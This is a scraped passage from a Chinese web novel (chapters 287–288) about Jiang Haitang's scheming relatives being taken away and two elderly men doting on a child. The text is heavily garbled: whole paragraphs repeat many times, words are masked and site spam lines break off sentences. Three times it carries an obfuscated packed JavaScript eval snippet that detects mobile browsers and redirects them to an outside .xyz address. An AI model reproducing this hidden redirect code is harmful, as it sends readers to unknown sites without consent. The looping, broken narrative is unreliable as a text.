陆良辰和赵凯一路赶过来,听到张翠花说有遗物的时候,都很惊讶。 陆良辰立即让赵凯安排人走一趟。 他觉得,这个女人说的遗物,可能与姜叔叔夫妻的牺牲有关系,说不定,就是关键的物证,可不能让人给毁了。 赵凯立即去安排。 “你们还是人吗?你们就不怕午夜梦回的时候,姜家的老祖宗不饶你们?”姜海棠冷静地说道。 “你不相信我会毁了遗物?姜海棠,要是我真的烧了,你后悔都来不及。”张翠花接着威胁姜海棠。 “你要是敢烧毁我爹娘的遗物,我一定不会轻易饶了你们。别的不说,买卖人口加上上门敲诈,就够你们一家子喝一壶了,你还是想好了再做决定。” 姜海棠不能出去,怕张翠花和姜老栓两个人对她动手,伤了肚子里的孩子,但言语上,姜海棠寸步不让。 悔不!” 姜海棠没想到,张翠花关键时候,竟然还能有这样的脑子。 不过,关于遗物这件事,到底是真的还是假的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144145|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果是真的,这个遗物会不会和自己的身世有关系? 虽然她现在已经和亲爷爷相认了,但万一真的有遗物,要是能带回去给爷爷看看也是好的。 张翠花并没有注意到,不远处有人正好听到了她说的这句话。 陆良辰和赵凯一路赶过来,听到张翠花说有遗物的时候,都很惊讶。 陆良辰立即让赵凯安排人走一趟。 他觉得,这个女人说的遗物,可能与姜叔叔夫妻的牺牲有关系,说不定,就是关键的物证,可不能让人给毁了。 赵凯立即去安排。 “你们还是人吗?你们就不怕午夜梦回的时候,姜家的老祖宗不饶你们?”姜海棠冷静地说道。 “你不相信我会毁了遗物?姜海棠,要是我真的烧了,你后悔都来不及。”张翠花接着威胁姜海棠。 “你要是敢烧毁我爹娘的遗物,我一定不会轻易饶了你们。别的不说,买卖人口加上上门敲诈,就够你们一家子喝一壶了,你还是想好了再做决定。” 姜海棠不能出去,怕张翠花和姜老栓两个人对她动手,伤了肚子里的孩子,但言语上,姜海棠寸步不让。 悔不!” 姜海棠没想到,张翠花关键时候,竟然还能有这样的脑子。 不过,关于遗物这件事,到底是真的还是假的? 如果是真的,这个遗物会不会和自己的身世有关系? 虽然她现在已经和亲爷爷相认了,但万一真的有遗物,要是能带回去给爷爷看看也是好的。 张翠花并没有注意到,不远处有人正好听到了她说的这句话。 陆良辰和赵凯一路赶过来,听到张翠花说有遗物的时候,都很惊讶。 陆良辰立即让赵凯安排人走一趟。 他觉得,这个女人说的遗物,可能与姜叔叔夫妻的牺牲有关系,说不定,就是关键的物证,可不能让人给毁了。 赵凯立即去安排。 “你们还是人吗?你们就不怕午夜梦回的时候,姜家的老祖宗不饶你们?”姜海棠冷静地说道。 “你不相信我会毁了遗物?姜海棠,要是我真的烧了,你后悔都来不及。”张翠花接着威胁姜海棠。 “你要是敢烧毁我爹娘的遗物,我一定不会轻易饶了你们。别的不说,买卖人口加上上门敲诈,就够你们一家子喝一壶了,你还是想好了再做决定。” 姜海棠不能出去,怕张翠花和姜老栓两个人对她动手,伤了肚子里的孩子,但言语上,姜海棠寸步不让。 悔不!” 姜海棠没想到,张翠花关键时候,竟然还能有这样的脑子。 不过,关于遗物这件事,到底是真的还是假的? 如果是真的,这个遗物会不会和自己的身世有关系? 虽然她现在已经和亲爷爷相认了,但万一真的有遗物,要是能带回去给爷爷看看也是好的。 张翠花并没有注意到,不远处有人正好听到了她说的这句话。 陆良辰和赵凯一路赶过来,听到张翠花说有遗物的时候,都很惊讶。 陆良辰立即让赵凯安排人走一趟。 他觉得,这个女人说的遗物,可能与姜叔叔夫妻的牺牲有关系,说不定,就是关键的物证,可不能让人给毁了。 赵凯立即去安排。 “你们还是人吗?你们就不怕午夜梦回的时候,姜家的老祖宗不饶你们?”姜海棠冷静地说道。 “你不相信我会毁了遗物?姜海棠,要是我真的烧了,你后悔都来不及。”张翠花接着威胁姜海棠。 “你要是敢烧毁我爹娘的遗物,我一定不会轻易饶了你们。别的不说,买卖人口加上上门敲诈,就够你们一家子喝一壶了,你还是想好了再做决定。” 姜海棠不能出去,怕张翠花和姜老栓两个人对她动手,伤了肚子里的孩子,但言语上,姜海棠寸步不让。 悔不!” 姜海棠没想到,张翠花关键时候,竟然还能有这样的脑子。 不过,关于遗物这件事,到底是真的还是假的? 如果是真的,这个遗物会不会和自己的身世有关系? 虽然她现在已经和亲爷爷相认了,但万一真的有遗物,要是能带回去给爷爷看看也是好的。 张翠花并没有注意到,不远处有人正好听到了她说的这句话。 陆良辰和赵凯一路赶过来,听到张翠花说有遗物的时候,都很惊讶。 陆良辰立即让赵凯安排人走一趟。 他觉得,这个女人说的遗物,可能与姜叔叔夫妻的牺牲有关系,说不定,就是关键的物证,可不能让人给毁了。 赵凯立即去安排。 “你们还是人吗?你们就不怕午夜梦回的时候,姜家的老祖宗不饶你们?”姜海棠冷静地说道。 “你不相信我会毁了遗物?姜海棠,要是我真的烧了,你后悔都来不及。”张翠花接着威胁姜海棠。 “你要是敢烧毁我爹娘的遗物,我一定不会轻易饶了你们。别的不说,买卖人口加上上门敲诈,就够你们一家子喝一壶了,你还是想好了再做决定。” 姜海棠不能出去,怕张翠花和姜老栓两个人对她动手,伤了肚子里的孩子,但言语上,姜海棠寸步不让。 第287章 怀疑 “就算我们毁了**遗物,那也是你这个不孝女造成的。你别吓唬我们,我才不怕,姜大路两口子活着的时候,我都不怕他们,何况人已经**,有什么好怕的? 张翠花的话像一把钝刀,狠狠扎进姜海棠心口。 姜海棠意识到,养父母的死可能并不是那么简单,或许,这两个人知道点什么。 不等姜海棠想明白,忽然听到院子外面传来了急促而熟悉的脚步声。 是陆良辰回来了。 “海棠?我来了,你不用怕。紧接着,陆良辰的声音突然从院墙外传来。 姜海棠透过门缝看见丈夫,身后跟着保卫科的两个年轻干事。 她这才放心地打开了院子门走了出来。 看到自家媳妇好好的,陆良辰总算放心了。 “良辰,你来了?姜海棠看到陆良辰的时候,还觉得有点委屈,声音都带了一丝哽咽。 陆良辰看着媳妇儿如此,心疼得不得了,只恨不得立即将姜老栓两个人一人揍一顿,丢到城外去。 “海棠,你别怕,我来了,你放心,我会保护你。陆良辰立即走到姜海棠的身边,低声安慰着姜海棠。 姜老栓听到陆良辰这么说,知道这位就是金城纺织厂的厂长,姜海棠的丈夫了,可是,怎么听名字,不像李家那个小子? “你是什么人?是不是姜海棠这个**的奸夫?姜老栓不知道想到了什么,忽然开口质问。 姜老栓的话一出口,周围瞬间安静了一瞬,紧接着爆发出一阵哄笑。 “哈哈哈,这老头儿疯了吧?厂长是海棠的男人,怎么成奸夫了? “哎哟,笑死我了,这老两口连自家侄女嫁人了都不知道? “怕不是脑子被驴踢了! “应该不是亲叔婶,要不怎么可能不知道侄女婿是谁? 姜老栓被众人的嘲笑声弄得面红耳赤,他瞪着眼睛,梗着脖子喊道:“放屁!姜海棠是李家的童养媳,她男人是李家李二狗!你们别被她骗了!姜海棠,你是不是背着李家私奔了? “老头子,你忘了,李家的儿子不是在城里上班?张翠花也反应过来,立刻拍着大腿帮腔:“海棠啊,我们可是老实本分的庄稼人,不能做丧良心的事儿,我们收了李家十斤豆子的聘礼,白纸黑字写的婚书,你姜海棠这辈子都是李家的人! 陆良辰的脸色彻底冷了下来,他眼神凌厉地扫过去。 “你们口中的李家,早就因为当间谍被判刑了,一家 听说看这本书的人都是很幸运的,分享后你的运气会更棒 子人都进去了要不要送你们进去找他们?” 周围看热闹的邻居们这下全明白了纷纷指着姜老栓两口子骂。 姜海棠和陆良辰两个人在厂里人缘好因此这些人无不是帮着他们两个的。 姜海棠或许还会顾忌这两个人是长辈不能说太难听的话但其他人就没有顾忌了什么难听骂什么。 姜老栓和张翠花被骂得抬不起头尤其是看到保卫科的干事已经掏出了**更是吓得腿软。 张翠花突然一屁股坐在地上撒泼打滚:“没天理啊!亲侄女不认穷亲戚啊!我们活不下去了啊!厂里的姘头还帮着她欺负我们老实人!” 姜老栓也装模作样地捂着胸口:“哎哟我心脏病犯了干部**了……” 陆良辰冷眼看着他们的表演转头对保卫科的干事说道:“把他们送到**局去就说他们涉嫌拐卖人口敲诈勒索还有干扰**生产。” “是!”两个干事立刻上前一把架起姜老栓和张翠花。 张翠花这下真慌了挣扎着喊道:“姜海棠!你敢让人抓我们?你就不怕你爹娘死不瞑目?!” 姜海棠原本不想再理会他们听到这话眼神陡然一冷想着再多问几句。 她走到张翠花面前一字一句道。 “我爹娘**的你们心里清楚。一定要我说出来?” 她没说完但眼神里的寒意让张翠花浑身一抖再也不敢吱声了。 她开始怀疑这个小**是不是知道了什么。 但是不可能啊这个小**当初才多大?六岁还是四岁? 不过几岁都不要紧那个年龄应该是什么都不知道才对。 “你胡说八道什么?”张翠花慌张的说道。 看着张翠花如此慌张的样子姜海棠几乎可以肯定养父母的死与这个张翠花有关系。 “张翠花我爹娘是你们害死的你们就是为了他们的钱和房子是不是?” 张翠花更加慌乱了立即反驳:“不是你不要冤枉我我怎么可能会害死他们?他们就是自己不小心才掉下悬崖摔死的……” 陆良辰是什么人听到这些话便已经意识到姜海棠养父母的死肯定与眼前这两口子有关系就是不知道是这个女人一个人干的还是这个姜老栓也参与了。 如果姜老栓也参与了才是真的罪不可恕 陆良辰握住姜海棠的手压低声音道:“你放心我 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 会让人去查了。如果真是他们害的我绝不会放过他们。” 姜海棠点点头心里却仍有些不安如果养父母是被人害死的她也是真的太不孝了。 “姜海棠你这个白眼狼你这么说是要害死我们吗?”姜老栓开始叫嚣还想继续用长辈的身份**姜海棠。 可是陆良辰怎么可能会让他得逞? 一个眼神保卫科的两个小干事已经将二人抓了起来。 张翠花拼命挣扎扯着嗓子喊道:“凭啥?我们又没犯法!你们凭啥抓人?来人啊干部耍流氓了啊……” 别说张翠花这么高喊还真让两个小干事投鼠忌器毕竟是年轻小伙子被一个老娘们喊耍流氓立刻就慌乱了。 孔大娘一撸袖子说:“老姐妹们我们上总不能我们也是耍流氓。” 孔大娘的话音才落立即有人帮忙。 “我呸这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149980|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难看一个老女人还敢说我们年轻小伙子耍流氓你就是脱光了都不见得有人多看一眼。” “不要脸的东西是看到我们厂里年轻的小干事心里有想法了吧?我看你才想耍流氓。” 几个妇女一人一句说着直接上手将张翠花抓了起来。 姜老栓也在拼命挣扎着可看热闹的人群突然有人伸脚姜老栓挣扎的时候冷不防就被绊了个狗吃屎门牙磕在石头上顿时见了血。 “**啦!干部**啦!老头子啊你这是造了什么孽怎么就有这么个白眼狼的侄女儿啊!”张翠花杀猪似的嚎起来。 孔大娘一把揪住她头发:“再嚎!再嚎把你送批斗!我看你就不是什么好鸟正好我们厂里好些时候没送过人去批斗了。” 场面乱作一团时 最后被打得鼻青脸肿的两个人在众人拉扯下被送到了**局。 姜海棠怀孕后本来就容易累加上今天这一场闹让姜海棠整个人都觉得不好了。 陆良辰看出了姜海棠的疲惫朝四周拱手“谢谢各位帮忙来日再感谢你们。” 等人群散去他一把将姜海棠抱起来送回到床上躺下。 “你怎么样?要不要找大夫过来看看?” 姜海棠摇摇头:“我就是觉得累了良辰或许姜老栓家里还有什么东西也不一定。” “你安心养身体就行不用操心这些我已经让赵凯安排人去了。” 姜海棠听到陆良辰已经安排了安 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 心许多,在陆良辰的安抚下慢慢睡着了。 第三日,赵凯安排去姜老栓家的人回来了。 他带回来一个包袱,此外,还有一些信息。 “这是根据姜老栓的儿子姜宝柱提供的信息找到的东西。那个姜宝柱是个怂货,没怎么吓唬就都说了,就差把他爹娘炕上那点事都招出来……” 说道这里,那人忽然意识到还有姜海棠在,立即住口。 赵凯忙笑着说:“嫂子,兄弟们都是粗人,习惯了口无遮拦,您可千万别介意。” 姜海棠立即摇摇头说:“不介意,你们辛苦了。” “姜宝柱说,他爹娘前几天听到您在城里发财了,想着弄点钱回去给他娶媳妇,这才来的,这些东西,是他爹娘一直收着的,据说是从您父母那里得到的。” “海棠,这些东西交给我,我会调查清楚的。”陆良辰觉得,这个包袱里的东西,可能与自己正在调查的事情有关系,因此,主动开口。 姜海棠想了想,点点头:“良辰,辛苦你了,不过,要是有危险,你可一定要保护好自己!” 姜海棠不知道这些事到底有没有风险,但如果有风险,姜海棠还是情愿陆良辰不要继续查下去,免得受到伤害。 陆良辰握住姜海棠的手:“你放心吧,海棠,我有分寸,我不会让自己陷于危险的,我还要保护你,保护小桃子,保护我们的孩子。” 第288章 俩老头争桃 而此时,已经到了京城的小桃子,晃着两条小短腿坐在小板凳上,正专心致志地剥着一颗橘子。 陆老爷子坐在藤椅上,时不时笑眯眯地看她一眼。 “太爷爷,橘子好甜!我喂你吃好不好?“小桃子掰了一瓣,踮起脚尖递过去。 “哎哟,我们小桃子真乖。”陆老爷子笑容有些僵硬,但小桃子显然一点点都不害怕,反而十分亲近。 “太爷爷,我们可以去看姜家的太爷爷吗?”小桃子看着手中的另外一半橘子,歪着脑袋问道。 小桃子这句脆生生的问话,像一颗小石子投入平静的湖面,在陆老爷子心里激起一圈圈涟漪。 他咀嚼的动作顿住了,橘子甜美的汁水突然变得索然无味。 “小桃子,你喜欢姜家太爷爷吗?”陆老爷子放下手中的橘子瓣,努力让自己的声音听起来不那么在意。 “喜欢呀!”小桃子不假思索地回答,眼睛弯成月牙,“姜家太爷爷会给我讲故事,还会用草编小蚂蚱!” 陆老爷子听到小桃子说草编蚱蜢,心立即在心里暗骂,这个老家伙太阴险了,竟然会用草编蚱蜢骗自家小宝贝儿。 他哪里会这些哄孩子的把戏? 不对,老家伙和自己一样,都是一生戎马,什么时候学会干这个的? “太爷爷,您怎么了?”小桃子敏锐地察觉到陆老爷子的情绪变化,小手轻轻搭在他布满皱纹的手背上,“您是不是不开心了?” 陆老爷子看着小桃子担忧的大眼睛,心中一软:“没有,太爷爷只是在想……想姜家太爷爷什么时候会编这个蚱蜢的,太爷爷竟然都不知道。” “小桃子也不知道呢。不过,太爷爷会折纸船,姜家太爷爷应该也不知道。” 不得不说,小桃子是个天生的端水大师,竟然能在这种情况下想到安慰陆老爷子的办法。 陆老爷子想起来自己前面给小桃子折纸,想起那艘歪歪扭扭的纸船,陆老爷子忽然觉得有些不好意思了。 他会折纸船,可是因为没有耐心,折出来的总是不好看,要不,等回头弄点废纸练习练习? 哎呀,早知道,这些年就提前练习了,也不知道多长时间才能练好手艺。 陆老爷子摸摸小桃子的头,心里那点不快消散了不少:“那我们折纸船玩好不好啊?” “好,太爷爷,我们等会儿折完纸船去看姜家太爷爷好不好?我担心他一个人太孤单了。”小桃子眨巴着大眼睛,充满期待地看着陆老爷子。 陆老爷子心里又是一阵酸溜溜的,但看着小桃子期待的眼神,又不忍拒绝:“好,太爷爷带你去。” 老家伙这些年一个人生活,也确实太孤单了一些。 小桃子欢呼一声,扑进陆老爷子怀里:“太爷爷最好了!” 陆老爷子抱着软乎乎的小曾孙女,心里五味杂陈。 虽然欣慰于宝贝曾孙女的善良贴心,可又忍不住嫉妒姜老头怎么办? 要不,把自己家臭小子送一个给姜老头,让她别来和自己抢小宝贝儿好不好? 陆老爷子觉得,这事情或许可行。 一老一小正说着话,何婉仪带着戚大夫回来了。 陆老爷子瞬间将争风吃醋的心放下了。 “怎么样?姜老头的身体好不好?” “姜伯伯说他身体好着呢,不用看,还说,都一大把年纪的人了,看不看的不要紧。” 听了这个话,陆老爷子瞬间不干了。 “这可不行,我得说道说道去,年轻的时候就怕吃药,老了老了,还跟小孩子似的。” 陆老爷子抱着小桃子就走,何婉仪忙跟上。 走了两步,发现戚大夫没有跟上,忙招呼他一起。 “这次去了能让我看病?” “您放心吧,有小桃子在,没问题。”何婉仪笑着。 刚才只想着人多目标大,怎么忘了带上小桃子呢? 哼,不要以为她不知道,这两个老头子,看到小桃子,那就什么都能答应了。 “这个老姜头,还是跟年轻时一样倔!” 陆老爷子抱着小桃子大步流星地朝着姜家走去,嘴里不住地念叨,“当年在战场上受伤都不肯下火线,现在老了老了,还这么逞强!” 小桃子搂着陆老爷子的脖子,奶声奶气地问:“太爷爷,姜家太爷爷生病了吗?” “可不是嘛!”陆老爷子脚步不停,“一把年纪了还当自己是小伙子,有病不看,这不是胡闹吗!” 小桃子深以为然地点着小脑袋:“嗯,瞎胡闹!” 陆老爷子气儿顺了,脚底下越发有力气了。 何婉仪小跑着跟在后面,手里提着药箱的戚大夫也紧赶慢赶。 一行人很快来到了姜家门前。 陆老爷子也不敲门,直接推门而入:“姜国柱!你给我出来!” 院子里,姜老爷子正坐在藤椅上晒太阳,手里还编着什么东西。 听到喊声,他慢悠悠地抬起头:“哟,什么风把你吹来了?” 只是话音未落,看到了陆老爷子怀里的小桃子,立即展露笑颜:“哎呦,我的乖宝贝儿来了啊!小桃子,来,来太爷爷这里!” 小桃子从陆老爷子怀里溜下来,小跑到姜老爷子身边。 “姜太爷爷!”小桃子甜甜地叫道,“我们带大夫来看您啦!” 姜老爷子脸上绽开了花儿一样,他弯腰抱起小桃子:“哎哟,太爷爷想死你了!你以后自己来就好,大夫什么的,就不用带了。” 陆老爷子气得胡子直翘:“姜国柱!婉仪都说了,你拒绝看病!” “看什么病?我好着呢!人老了,**病,谁愿意吃那些苦药汁子!“姜老爷子不屑地摆摆手。 “你这个老顽固!当年在朝鲜战场上要不是老子背你下来,你早……总之,你这条命是老子的!就得听老子的! “要不是我替你挡了那颗**,你现在还能站在这跟我嚷嚷?你这条命还是我的呢。”姜老爷子不甘示弱地回敬。 两个老人像斗鸡一样互相瞪着,谁也不让谁。 小桃子看看这个,又看看那个,突然“哇”的一声哭了起来。 “姜国柱,你有出息没有?把我家的小桃子都给吓哭了!”陆老爷子立即冲着姜国柱发作。 姜国柱也立即冲着小桃子说:“乖宝不哭,不哭啊……” “呜呜呜……你们吵架……” 两个老人顿时慌了神。 “太爷爷没吵架,我们闹着玩呢!”陆老爷子手忙脚乱地哄着。 姜老爷子也手忙脚乱地拍着小桃子的背:“对对对,我们老哥俩就爱这么说话,不是真吵架啊!以后我们不这么说话了啊! 小桃子从指缝里偷看两位太爷爷着急的样子,哭声渐渐小了:“真的吗?” “真的真的!”两个老人异口同声地回答。 “那姜太爷爷看病不?吃药不?“小桃子眨着还带着泪花的大眼睛,可怜巴巴地看着姜老爷子。 姜老爷子一下子噎住了,拒绝的话在嘴边转了一圈,看着小桃子期待的眼神,硬是说不出口。 “这……这个……” “你要是把我的小宝贝曾孙女给惹哭,看我不和你打架!”陆老爷子立即凶巴巴地说。 刚才承诺小宝贝儿不吵架了,打架应该不算吧? 何婉仪在一旁看着,觉得时机差不多了,适时上前,“您就让戚大夫简单检查一下,也好让小桃子放心不是?再说了,戚大夫可是海棠从西北给您请的大夫。” 戚大夫上前准备 给姜老爷子检查,谁知这倔老头又变卦了:“等等!我觉得我身体挺好,要不……” 陆老爷子正要发作,小桃子却灵机一动:“原来说话可以不算数啊,小桃子学会了!” 姜国柱一听,这还了得,立即说:“没有没有,我就是想着去床上躺着检查舒服一点点。” “嗯!太爷爷说得对。”小桃子重重点头,“小桃子想看大夫是怎么看病的!” 陆老爷子眼睛一亮,懂了小桃子的意思,立即帮腔:“对对对,小桃子可聪明了,什么都想学。老姜啊,你就当给孩子做个示范!” 姜老爷子被这一老一小架得下不来台,只得悻悻地接受检查。 戚大夫看着小桃子轻松拿捏了,微笑着摇头,跟着几个人到了屋里。 戚大夫是中医大夫,望闻问切一番一番之后说:“我先开三副中药,吃完了再诊断。” 听到三副中药,姜老爷子脸上都是苦意。 打针没事儿,吃中药,有点难怎么办? “太爷爷,您不会怕苦吧?小桃子给您吃糖好不好?” “不用不用,太爷爷这么厉害的人,怎么可能怕苦?糖留着小桃子吃就行。” 最后,几个人商量定,何婉仪去抓药回来煎好,按时间给姜老爷子送过去。 “老姜,我可给你说,要是你不好好吃药,我就让小桃子给你喂药。”陆老爷子还是很了解姜国柱的,立即说道。 其实,姜老爷子确实有不好好吃药的想法,但听到让小桃子喂药,他瞬间就乖巧听话了。 “我以后监督太爷爷吃药。”小桃子挥舞着小手手表示,自己可以完成这个艰巨的任务。 回去的路上,小桃子歪着头问:“太爷爷,姜太爷爷病得很严重吗?” 陆老爷子叹了口气:“戚大夫说他不太好……年纪大了,想念亲人……” “那……那小桃子以后天天来陪姜家太爷爷好不好?”小桃子认真地说,“太爷爷说,开心了病就好得快!小桃子当姜家太爷爷的亲人!” 陆老爷子心头一暖,摸摸小桃子的头:“好孩子。你本来就是他的亲人,有你在,他会听话。” 要不,早点把海棠给接回来算了,良辰那个臭小子,一个人在西北待上一段时间,也没什么不行的。 给姜老爷子检查,谁知这倔老头又变卦了:“等等!我觉得我身体挺好,要不……” 陆老爷子正要发作,小桃子却灵机一动:“原来说话可以不算数啊,小桃子学会了!” 姜国柱一听,这还了得,立即说:“没有没有,我就是想着去床上躺着检查舒服一点点。” “嗯!太爷爷说得对。”小桃子重重点头,“小桃子想看大夫是怎么看病的!” 陆老爷子眼睛一亮,懂了小桃子的意思,立即帮腔:“对对对,小桃子可聪明了,什么都想学。老姜啊,你就当给孩子做个示范!” 姜老爷子被这一老一小架得下不来台,只得悻悻地接受检查。 戚大夫看着小桃子轻松拿捏了,微笑着摇头,跟着几个人到了屋里。 戚大夫是中医大夫,望闻问切一番一番之后说:“我先开三副中药,吃完了再诊断。” 听到三副中药,姜老爷子脸上都是苦意。 打针没事儿,吃中药,有点难怎么办? “太爷爷,您不会怕苦吧?小桃子给您吃糖好不好?” “不用不用,太爷爷这么厉害的人,怎么可能怕苦?糖留着小桃子吃就行。” 最后,几个人商量定,何婉仪去抓药回来煎好,按时间给姜老爷子送过去。 “老姜,我可给你说,要是你不好好吃药,我就让小桃子给你喂药。”陆老爷子还是很了解姜国柱的,立即说道。 其实,姜老爷子确实有不好好吃药的想法,但听到让小桃子喂药,他瞬间就乖巧听话了。 “我以后监督太爷爷吃药。”小桃子挥舞着小手手表示,自己可以完成这个艰巨的任务。 回去的路上,小桃子歪着头问:“太爷爷,姜太爷爷病得很严重吗?” 陆老爷子叹了口气:“戚大夫说他不太好……年纪大了,想念亲人……” “那……那小桃子以后天天来陪姜家太爷爷好不好?”小桃子认真地说,“太爷爷说,开心了病就好得快!小桃子当姜家太爷爷的亲人!” 陆老爷子心头一暖,摸摸小桃子的头:“好孩子。你本来就是他的亲人,有你在,他会听话。” 要不,早点把海棠给接回来算了,良辰那个臭小子,一个人在西北待上一段时间,也没什么不行的。 给姜老爷子检查,谁知这倔老头又变卦了:“等等!我觉得我身体挺好,要不……” 陆老爷子正要发作,小桃子却灵机一动:“原来说话可以不算数啊,小桃子学会了!” 姜国柱一听,这还了得,立即说:“没有没有,我就是想着去床上躺着检查舒服一点点。” “嗯!太爷爷说得对。”小桃子重重点头,“小桃子想看大夫是怎么看病的!” 陆老爷子眼睛一亮,懂了小桃子的意思,立即帮腔:“对对对,小桃子可聪明了,什么都想学。老姜啊,你就当给孩子做个示范!” 姜老爷子被这一老一小架得下不来台,只得悻悻地接受检查。 戚大夫看着小桃子轻松拿捏了,微笑着摇头,跟着几个人到了屋里。 戚大夫是中医大夫,望闻问切一番一番之后说:“我先开三副中药,吃完了再诊断。” 听到三副中药,姜老爷子脸上都是苦意。 打针没事儿,吃中药,有点难怎么办? “太爷爷,您不会怕苦吧?小桃子给您吃糖好不好?” “不用不用,太爷爷这么厉害的人,怎么可能怕苦?糖留着小桃子吃就行。” 最后,几个人商量定,何婉仪去抓药回来煎好,按时间给姜老爷子送过去。 “老姜,我可给你说,要是你不好好吃药,我就让小桃子给你喂药。”陆老爷子还是很了解姜国柱的,立即说道。 其实,姜老爷子确实有不好好吃药的想法,但听到让小桃子喂药,他瞬间就乖巧听话了。 “我以后监督太爷爷吃药。”小桃子挥舞着小手手表示,自己可以完成这个艰巨的任务。 回去的路上,小桃子歪着头问:“太爷爷,姜太爷爷病得很严重吗?” 陆老爷子叹了口气:“戚大夫说他不太好……年纪大了,想念亲人……” “那……那小桃子以后天天来陪姜家太爷爷好不好?”小桃子认真地说,“太爷爷说,开心了病就好得快!小桃子当姜家太爷爷的亲人!” 陆老爷子心头一暖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149981|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摸摸小桃子的头:“好孩子。你本来就是他的亲人,有你在,他会听话。” 要不,早点把海棠给接回来算了,良辰那个臭小子,一个人在西北待上一段时间,也没什么不行的。 给姜老爷子检查,谁知这倔老头又变卦了:“等等!我觉得我身体挺好,要不……” 陆老爷子正要发作,小桃子却灵机一动:“原来说话可以不算数啊,小桃子学会了!” 姜国柱一听,这还了得,立即说:“没有没有,我就是想着去床上躺着检查舒服一点点。” “嗯!太爷爷说得对。”小桃子重重点头,“小桃子想看大夫是怎么看病的!” 陆老爷子眼睛一亮,懂了小桃子的意思,立即帮腔:“对对对,小桃子可聪明了,什么都想学。老姜啊,你就当给孩子做个示范!” 姜老爷子被这一老一小架得下不来台,只得悻悻地接受检查。 戚大夫看着小桃子轻松拿捏了,微笑着摇头,跟着几个人到了屋里。 戚大夫是中医大夫,望闻问切一番一番之后说:“我先开三副中药,吃完了再诊断。” 听到三副中药,姜老爷子脸上都是苦意。 打针没事儿,吃中药,有点难怎么办? “太爷爷,您不会怕苦吧?小桃子给您吃糖好不好?” “不用不用,太爷爷这么厉害的人,怎么可能怕苦?糖留着小桃子吃就行。” 最后,几个人商量定,何婉仪去抓药回来煎好,按时间给姜老爷子送过去。 “老姜,我可给你说,要是你不好好吃药,我就让小桃子给你喂药。”陆老爷子还是很了解姜国柱的,立即说道。 其实,姜老爷子确实有不好好吃药的想法,但听到让小桃子喂药,他瞬间就乖巧听话了。 “我以后监督太爷爷吃药。”小桃子挥舞着小手手表示,自己可以完成这个艰巨的任务。 回去的路上,小桃子歪着头问:“太爷爷,姜太爷爷病得很严重吗?” 陆老爷子叹了口气:“戚大夫说他不太好……年纪大了,想念亲人……” “那……那小桃子以后天天来陪姜家太爷爷好不好?”小桃子认真地说,“太爷爷说,开心了病就好得快!小桃子当姜家太爷爷的亲人!” 陆老爷子心头一暖,摸摸小桃子的头:“好孩子。你本来就是他的亲人,有你在,他会听话。” 要不,早点把海棠给接回来算了,良辰那个臭小子,一个人在西北待上一段时间,也没什么不行的。 给姜老爷子检查,谁知这倔老头又变卦了:“等等!我觉得我身体挺好,要不……” 陆老爷子正要发作,小桃子却灵机一动:“原来说话可以不算数啊,小桃子学会了!” 姜国柱一听,这还了得,立即说:“没有没有,我就是想着去床上躺着检查舒服一点点。” “嗯!太爷爷说得对。”小桃子重重点头,“小桃子想看大夫是怎么看病的!” 陆老爷子眼睛一亮,懂了小桃子的意思,立即帮腔:“对对对,小桃子可聪明了,什么都想学。老姜啊,你就当给孩子做个示范!” 姜老爷子被这一老一小架得下不来台,只得悻悻地接受检查。 戚大夫看着小桃子轻松拿捏了,微笑着摇头,跟着几个人到了屋里。 戚大夫是中医大夫,望闻问切一番一番之后说:“我先开三副中药,吃完了再诊断。” 听到三副中药,姜老爷子脸上都是苦意。 打针没事儿,吃中药,有点难怎么办? “太爷爷,您不会怕苦吧?小桃子给您吃糖好不好?” “不用不用,太爷爷这么厉害的人,怎么可能怕苦?糖留着小桃子吃就行。” 最后,几个人商量定,何婉仪去抓药回来煎好,按时间给姜老爷子送过去。 “老姜,我可给你说,要是你不好好吃药,我就让小桃子给你喂药。”陆老爷子还是很了解姜国柱的,立即说道。 其实,姜老爷子确实有不好好吃药的想法,但听到让小桃子喂药,他瞬间就乖巧听话了。 “我以后监督太爷爷吃药。”小桃子挥舞着小手手表示,自己可以完成这个艰巨的任务。 回去的路上,小桃子歪着头问:“太爷爷,姜太爷爷病得很严重吗?” 陆老爷子叹了口气:“戚大夫说他不太好……年纪大了,想念亲人……” “那……那小桃子以后天天来陪姜家太爷爷好不好?”小桃子认真地说,“太爷爷说,开心了病就好得快!小桃子当姜家太爷爷的亲人!” 陆老爷子心头一暖,摸摸小桃子的头:“好孩子。你本来就是他的亲人,有你在,他会听话。” 